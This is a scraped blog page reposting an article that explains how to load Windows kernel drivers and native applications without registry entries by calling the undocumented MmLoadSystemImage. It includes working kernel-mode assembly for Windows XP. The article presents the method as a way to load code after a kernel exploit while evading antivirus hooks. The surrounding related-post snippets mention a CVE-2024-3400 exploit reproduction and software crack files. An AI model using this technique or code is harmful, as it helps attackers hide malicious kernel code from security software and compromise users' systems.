核心态加载驱动和本地应用

Linux驱动加载总结 一、Linux系统结构概述 1.1Linux体系结构 1.2内核架构 二、Linux驱动 2.1Linux系统3大类设备 1)字符设备 2)块设备 3)网络设备  字符设备和块设备都是通过文件系统的系统调用接口open()、close()、write()、read()等函数访问,应用程序可以通过打开设备文件(如UART0设备:/dev/ttyS0)来访问设备 阅读详情

Loading drivers and Native applications from kernel mode, without touching registry


 By: vipinkumar You are Responsible for everything.Also,if you develop something off this,you should give credit to the authors.

"How to load driver without touching registry from kernel mode", this is asked almost always. Today, I will give you an insight into how Windows loads its driver and then will document a new method to load a driver without touching registry.

This is required because even if you exploit kernel vulnerabilities ,you still cannot load any driver because almost all existing Antivirus solutions hijack the NTOSkrnl API's ( which let you write to specific registry locations, load drivers etc).

The first method to load driver is given below:

Windows NT loads drivers using the following function ZwLoadDriver.

Its declaration is as follows:


NTSTATUS ZwLoadDriver (IN PUNICODE_STRING DriverServiceName);


DriverServiceName: Pointer to a counted Unicode string that specifies a path to the driver's registry key, /Registry/Machine/System/CurrentControlSet/Services/DriverName, where DriverName is the name of the driver

The Second Method is given below:

After Windows 2000 start's up, It starts loading the special driver win2k.sys.It doesn't load in the traditional way (as all other drivers are loaded) by calling the following procedures ZwLoadDriver, NtLoadDriver etc.

It actually loads by the following kernel API ZwSetSystemInformation.

This API is used to set system information such as page file, loads the above driver, file cache( information working set) etc.

It is actually implemented as follows:

                                         
ZwSetSystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                    //specifies operation to do
IN PVOID SystemInformation,         //specifies operation data
IN ULONG SystemInformationLength )  //specifies  data length



it's internally implemented as follows:


    
        Switch (SystemInformationClass)
                      Case 0:
                      
                      Case 1:
                      .
                      .
                      .
                      Case 5:     ;this actually extends the system service descriptor table
                               .
                               .
                       .           
                               MmLoadSystemImage(SystemInforMation,NULL,NULL,TRUE,imagehandle,baseaddress);
                               
                               call entrypoint(driverobject,NULL)   ;
                               
                               break     ;  
                         case 6:      
                        .
                        .
                        .
                        .
                        .
      






These 2 are the only known method of loading drivers.




Here is the third method. (No antivirus solution currently hijacks it so it is safe).

As seen above ZwSetSysteminformation loadimage function to load driver into memory and then calls its entry point.

Now we will briefly analyze the parameters and functionality of MmLoadSystemImage


     MmLoadSystemImage(UNICODE STRING Imagepath, UNICODE STRING  prefix optional,UNICODE STRING basename optional,
                      ULONG unknown=0,PVOID imagehandle,PVOID baseaddress);  
      


ImagePath is a fully qualified NT style pathname
prefix is added to pathname when loading driver

basename is the name system shows after module has been loaded

unknown is unknown

*imagehandle is the handle to section(it's already referenced, so you will have dereference it at unload)

*baseaddress is the address at which image has been loaded in kernel memory

This function actually loads the image in memory, resolves imports,loads dependencies, etc.

In Windbg,u can find the address of above function using "d MmLoadSystemImage" (of course ,symbols are required)

NOTE:- MmLoadSystemimage internally calls and checks the image after loading it into memory so make sure the checksum for the image is fine.This functionality is done by the MiCheckSystemImage.The import resolving job and dependency loading is done by MiResolveImageReferences API.


Thee MmloadSystemimage works as follows: (PseudoCode)

       
1) traverse existing module list to check whether it has been alredy loaded
2) if it exists return error (image already loaded STATUS_IMAGE_ALREADY_LOADED) and  return from call

3) try to open file using Zwopenfile,if file cannot be opened,just return with error code
4) compute image checksum and match it with checksum stored in header
5) if checksum doesn't matches. return with error code
6) create a section with zwcreatesection and then reference it
7) map it into kernel space using mMapViewInSystemSpace
8) if necessary apply relocations to image using  function LdrRelocateImage
9) resolve refrences iusing MiResolveImageReferences
10) then create an entry in psmoduleloadedlist for the module
11) make it writeprotect
12) then close file handle
13) return from call








So, now we have a function which loads image in memory, but what about calling Driver Entry (entry point of driver). This information can be obtained from the PE headers itself after the image successfully loads in memory. This method has been and can used to load and execute drivers, native applications etc directly from kernel mode



Here is the assembly code (kernel mode assembly code). it has been tested on Windows XP SP0 English Version.After minor modifation code runs on win2k,xp,2k3 etc


       __asm {
               
               
               ;below code loads the driver in memory
loaddriver:
        mov dword [Stack],esp               //save stack
        
        ;paramters as always are passed in reverse
        push DWORD Driverbase              ;it stores driver base
        push DWORD ImageHandle             ;it stores section handle
        push dword 0               
        push dword 0
        push dword 0
        push DWORD U_STRINGloc              ;it points to unicode string  containing driver to load


        mov edi, 0x805c03ae       ;MmLoadSystemImage address function on Win XP SP0 English version,(OS and SP dependent data)
        call edi
        cmp eax,0                 ;check whether driver loaded successfully in memory
        jne   drivernotloaded    ; if loading failed, exit without calling entrypoint
        
         ;since driver has loaded successfully  call its init function  both parameters are passed 0
        mov DWORD edi, [Driverbase]
        mov DWORD ebx ,[edi + 0x3c]      ;to get offset of optional header
        mov dword ebx,[edi + ebx + 0x18 + 0x10]   ;       to get entry point ofset from base of code
        add edi ,ebx                        ; add base + entry point to get entry point in memory
        push 0 ;
        push 0
        call edi  ;call entry point     (Driver Entry in case of Drivers)


        drivernotloaded:
        mov dword esp,[ Stack]            ;  correct stack so as execution continues
        
        ret


       
       ; Here data and/or variables are stored
       

; This is the driver to load including path name

;DosDevices@:hooka.sys  length  48
db 0x5c,0x00,0x44,0x00,0x6f,0x00,0x73,0x00,0x44,0x00,0x65,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x5c,0x00
db 0x42,0x00,0x3a,0x00,0x5c,0x00,0x68,0x00,0x6f,0x00,0x6f,0x00,0x6b,0x00,0x61,0x00,0x2e,0x00,0x73,0x00,0x79,0x00,0x73,0x00,0x00,0x00

;it's used to store driver base address
Driverbase:
dd 0
;it's used to store section handle
ImageHandle:
dd 0;

;it is used to store Stack location
Stack:
dd 0

;structure used for unicode strings in memory
struc U_STRING
Length: resw 1
MaximumLength: resw 1
Buffer: resd 1
endstruc

}

//asm code ends here


NOTE: - These API's or functions are not exported by NTOSKRNL, but these exist for internal usage.These functions are not hooked by any anti-virus solutions, so these can be used to load drivers and native application and then run them.


That's all about loading a driver from kernel mode without touching registry.
Also,the code does some error checking,so as no hard error occurs.



Have fun!

 

OpenHarmony-HDF驱动框架介绍及加载过程分析 HarmonyOS面向万物互联时代,而万物互联涉及到了大量的硬件设备,这些硬件的离散度很高,它们的性能差异与配置差异都很大,所以这要求使用一个更灵活、功能更强大、能耗更低的驱动框架。OpenHarmony系统HDF驱动框架采用C语言面向对象编程模型构建,通过平台解耦、内核解耦,来达到兼容不同内核,统一平台底座的目的,从而帮助开发者实现驱动一次开发,多系统部署的效果。1)在系统启动时,DeviceManagerInit通过late_initcall先启动。 阅读详情

相关推荐

kernel中驱动加载顺序详解

Linux 内核驱动加载顺序调整方法详解在 Linux 内核中,驱动加载顺序的调整涉及多个层面的机制,包括内核初始化阶段的优先级控制、模块依赖管理、设备驱动模型等。以下是 6 种核心方法的详细解析,涵盖原理、实现方法及完整示例。原理• 作用:声明模块间的软依赖关系,引导 modprobe 按顺序加载模块。• 底层机制:依赖信息存储在模块的 .modinfo 段,由 depmod 生成 /lib/modules//modules.dep 文件。• 特点:非强制性,若依赖模块不存在,当前模块仍可加载。

yiyu20180729的博客 986

windbg拦截驱动

驱动的加载有几种方式,查看CreateService就可以知道。 1、SERVICE_BOOT_START=0x00000000,被系统loader加载,这类驱动是最早加载的。驱动文件必须放在C:\Windows\System32\drivers目录下,因为此时系统只能读注册表,不能打开文件,不能打出调试信息。看了下面的分析就清楚了。 2、SERVICE_SYSTEM...

weixin_34244102的博客 339

sdio wifi驱动的加载流程

1、为何/sys中driver的uevent文件只写? 该文件用于调试udev或者人为引起uevent的发送,执行类似: $ echo add > /sys/…/driver/…/uevent 命令时,会模拟一个uevent(ADD)事件,在kernel中,该文件的属性设置为只写。 小结: bus、driver的uevent文件只写 device(包括bus设备)的uevent文件可读

7968

NT下实现不通过注册表加载进程的方法

http://blog.mmbest.com/?6576发布时间2006年10月26日  翻译发布:2006年10月29日译者按:本文提供了一种在win NT下悄声无息的加载“驱动”的方法。这里所将的“驱动”并不是指平常的驱动,而是指将程序载入系统的内核中,采用该方式将不通过任何注册表项,因此将无法使用任何方法(包括各种杀毒软件)查出这一加载项,达到隐藏自身的目的。为了翻译的方便,本人暂将里面提到

1583

osgEarth加载本地离线影像

本文详解如何在无网络环境下使用osgEarth加载本地离线影像瓦片,涵盖瓦片格式识别、坐标投影配置、XYZ与TMS差异处理、MBTiles优化及缓存策略,实现高性能三维地图渲染。

meat5的博客 1123

MmLoadDriver内存加载驱动.7z

64位环境下已签名驱动中实现加载未签名驱动,程序是源代码,可修改编译

调试驱动程序的入口

调试驱动程序的入口(1) 这是老生常谈的一个问题,先说一个一般性的方法。 将内核调试器设置成启动时断点(快捷键Ctrl+Alt+K),调试器提示: Will breakin on first symbol load at next boot. 这句话意味着 The debugger breaks into a restarted target computer ...

weixin_34309543的博客 1658

KingDriver_辅助_C++_驱动_

刚刚发的那个是恢复句柄表达到破掉驱动保护。这个是直接禁止驱动加载源码。支持全系统写法。

加载驱动过程

用instDrv加载驱动,用CreateService()函数等等过程如下, 1,先是它向Service进程注册服务。 2,然后Service进程调用ZwLoadDriver()加载驱动。进入NtLoadDriver()系统调用,它先会检测SerVice进程(当前进程)是不是有加载驱动的权限,然后检测当前进程是不是System进程,是的话直接调用IopLoadUnloadDriver(

junjie1595的专栏 2018

火山引擎大模型语音合成双向流式API实战:Python实现与优化指南

本文详细介绍了如何利用火山引擎大模型语音合成双向流式API,通过Python实现低延迟、实时的语音合成应用。文章从核心协议解析入手,提供了完整的Python客户端实现代码,并分享了连接复用、错误重试、与LLM流式输出集成等实战优化技巧,帮助开发者快速构建智能客服、实时语音助手等AI应用。

n8m7b6v5c4的博客 1228

太阳同步回归轨道卫星设计:参数解算与工程实践

在卫星任务规划与轨道设计中,太阳同步轨道与回归轨道是两个不可或缺的基础概念。太阳同步轨道利用地球扁率引起的J2摄动,使轨道面以与地球公转相同的角速度进动,从而保持过境地方时稳定;回归轨道则要求星下点轨迹在特定周期内精确重复,满足地面目标的重访需求。两者的结合,决定了遥感卫星的轨道高度、倾角与每日运行圈数必须联立求解,这是一项融合天体力学、轨道摄动理论与工程迭代的典型任务。理解恒星日与太阳日的区别、开普勒第三定律及J2项进动公式,是掌握该设计方法的关键。此类轨道广泛应用于光学遥感、环境监测与灾害评估等场景,可

weixin_36122351的博客 222

Linux内核并发和竞态

要求LED设备只能被一个应用程序打开访问操作。

myhmzl的博客 1883

VCS2018在Ubuntu20 18安装步骤

之前在Ubuntu20上下VCS,花了好几天时间,本来想写博客避免以后重复劳动。但由于各种原因拖了一两个月,这次由于疫情原因,期末考试推迟,所以就再次在Ubuntu18上下了VCS,顺便写博客记录。 以下VCS2018安装方法适用于 Ubuntu20、Ubuntu18,亲测可用。其他Linux发行版没试过,但应该步骤差不多。 文章目录安装包安装步骤1、建立安装路径,更改权限2、运行安装器进行安装3、生成License文件4、设置环境变量5、验证License6、启动lmgrd验证软件是否安装成功dvever

s-stone的博客 3万+

linux驱动加载 动态加载 静态加载 自动加载

linux驱动加载 动态加载 静态加载 自动加载_luopandeng的博客-CSDN博客_linux驱动加载概述在Linux下可以通过两种方式加载驱动程序:静态加载和动态加载。静态加载就是把驱动程序直接编译进内核,系统启动后可以直接调用。动态加载利用了Linux的module特性,可以在系统启动后用insmod命令添加模块(.ko),在不需要的时候用rmmod命令卸载模块。驱动加载静态加载过程将模块的程序编译到Linux内核中,也就是咱们在编译内核时选择Y的模块,静态由do_initcall函数加载。先来

eydwyz的专栏 2809

Robosuite与Robomimic:机器人学习的黄金搭档

本文深入探讨了Robosuite与Robomimic这对机器人学习的黄金组合,详细介绍了如何利用Robosuite进行物理仿真和任务环境构建,以及Robomimic在演示数据处理和离线学习算法实现中的应用。通过实际案例和代码示例,展示了从仿真环境搭建到模型训练的全流程,帮助研究人员高效开展机器人学习实验。

weixin_29178069的博客 420

稳健自适应波束形成学习(2):自适应计算对角加载量方法——基于广义线性组合的鲁棒Capon波束形成

对于快拍数相对阵元数较小时,样本协方差矩阵不能很好对协方差矩阵进行估计。常规的对角加载量需要根据经验值或不断手动调整进行测试,没有一个明确的准则和推导。该篇介绍一种自适应计算对角加载量的方法,且能适应快拍数相对阵元数较小时的情况。均匀线阵阵元数:18;载波频率30MHz;通信信号来波方向0°、来波估计偏差0.5°;干扰来波方向30°;通信信号信噪比10dB;干扰信号信噪比60dB。也即在干扰角度生成66dB的零陷,通信信号受到16dB的衰减。

a1uajug的博客 825

内核态,用户态,目态,管态

目态,管态大多数计算机系统将CPU执行状态分为目态与管态。CPU的状态属于程序状态字PSW的一位。CPU交替执行操作系统程序和用户程序。管态又叫特权态,系统态或核心态。CPU在管态下可以执行指令系统的全集。通常,操作系统在管态下运行。 目态又叫常态或用户态。机器处于目态时,程序只能执行非特权指令。用户程序只能在目态下运行,如果用户程序在目态下执行特权指令,硬件将发生中断,由操作系统获得控制,特权指

L未若的博客 9268

【漏洞复现】Palo Alto Networks PAN-OS GlobalProtect 命令注入漏洞 CVE-2024-3400

在特定PAN-OS版本和不同功能配置下,未经身份验证的攻击者可能利用此漏洞在防火墙上以root权限执行任意代码。技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。本文所提供的工具仅用于学习,禁止用于其他!poc如下,注入点在Cookie中,将其中的DNSlog地址替换为你的dnslog地址,借助DNSLOG来复现,可以使用http://dnslog.pw/

失心少年 1232

JDBC驱动加载详解

JDBC 驱动加载是 JDBC 使用的核心部分之一。通过。

m0_59539752的博客 2559

python中使用squarify包可视化treemap图:为treemap图添加标题并自定义标题的字体大小、自定义设置treemap中标签字体的大小、添加数值数值标签、自定义设置边框的色彩

python中使用squarify包可视化treemap图:treemap将分层数据显示为一组嵌套矩形自定义设置每一个数据格的颜色、添加数值数值标签、自定义设置边框的色彩、自定义设置边框线条的粗细、为treemap图添加标题并自定义标题的字体大小、自定义设置treemap中标签字体的大小

data+scenario+science+insight 1074

【技能】OpenClaw Skill 操作钉钉(原理+20个实例)

OpenClaw Skill是遵循AgentSkills规范的自动化逻辑单元,用于指导AI助理调用钉钉工具。每个Skill包含SKILL.md文件,定义触发条件、执行逻辑和接口调用方式。Skill通过钉钉Connector插件实现API鉴权和请求转发,需配置ClientID/Secret等凭证。Skill加载路径包括工作目录、本地目录和内置目录,优先级由高到低。使用前需安装必备插件并配置钉钉权限,通过openclaw.json管理Skill开关和环境变量。ClawHub作为官方技能仓库支持Skill的安装和

海兰 1236

linux开机加载驱动流程

linux开机启动,驱动的加载流程

A980115025的博客 2981

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

编程实现加载和卸载驱动程序

//加载核心驱动 BOOL loadKD(LPCTSTR DriverPath, LPCTSTR Servicename) { BOOL bResult=true; SC_HANDLE hSCManager=NULL; SC_HANDLE hService=NULL; hSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_AC

冷却 1012

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

HarmonyOS应用<奇妙科学乐园>开发第37篇:骨架屏设计——加载态/错误态/空数据态三态兜底

和。它们是三态切换的驱动力,任何状态变化都会触发build()方法的重新渲染。✅状态变量互斥设计// 所有状态转换同时设置两个标志✅定时器双向清理// 成功时清理// 销毁时清理✅骨架屏布局对齐// 骨架屏的 padding、margin、borderRadius 与真实页面一致 // 确保切换时无布局跳动✅空数据态作为正常态子状态if (this.topicList.length > 0 ) { // 有数据:渲染列表} else {// 空数据:友好提示。

yuegu_xx_0220的博客 98

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Linux 内核驱动加载机制

Platform 总线是一种虚拟总线,用于管理集成在 SoC 内部的设备(如 GPIO、I2C 控制器、SPI 控制器等),这些设备无法通过标准总线(如 PCI、USB)自动发现。特点不依赖物理总线设备信息通过设备树(DTS)或平台数据传递自动匹配设备和驱动// 设备树节点││ Subsystems (子系统层) ││ │ │ │ ││ │ ││ Device Driver Model (设备驱动模型) ││ │ (Platform 总线框架 - 核心基础) │ ││ │。

huayidw的博客 1098
上一篇: outpost firewall 的一些技术分析
下一篇: 12月最新Windows Live邮箱注册漏洞及分析
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
⌂ 换网址